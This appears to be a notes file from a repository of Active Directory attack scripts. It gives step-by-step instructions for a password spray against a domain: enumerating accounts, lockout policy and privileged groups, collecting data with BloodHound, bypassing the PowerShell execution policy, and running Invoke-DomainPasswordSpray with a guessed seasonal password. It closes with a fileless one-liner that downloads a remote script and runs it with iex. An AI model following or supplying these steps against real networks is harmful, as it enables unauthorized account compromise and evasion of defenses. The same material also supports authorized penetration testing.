Queries and code related to Active Directory
Process:
- Use the "ADCounts.ps1" script to size up the directory.
- Use a command like "Net accounts /domain" to see the current password policy (Don't want to lock thouse accounts, eh?)
- Use GetADPrivGroups.ps1 to get membership in the main AD Elevated groups - see who is who.
- Could go and get Blood Hound / SharpHound, maybe collect some juicy details...
- Assess the current situation before the sparay - try getlockoutinfo.ps1 for details and getlocked.ps1 for lockout status.
- Then attempt the PW spray with pwspray.ps1
- Need to open up a PowerShell prompt w/ bypass: from command prompt, "PowerShell -exec bypass" should get you there.
- Need to import the script - Type 'Import-Module pwspray.ps1', which is a more paranoid version of dafthack's pw spray script.
- Run the script - Invoke-DomainPasswordSpray -Password Summer2020 -OutFile results.txt
- Observe - Search-ADAccount –LockedOut. Problems? Use control C and punt. Wait a bunch before you try again.
- Kick it up a notch maybe? Go fileless? powershell -nop -c "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/OnlyTheShadowKnows/AD/master/ADcounts.ps1')"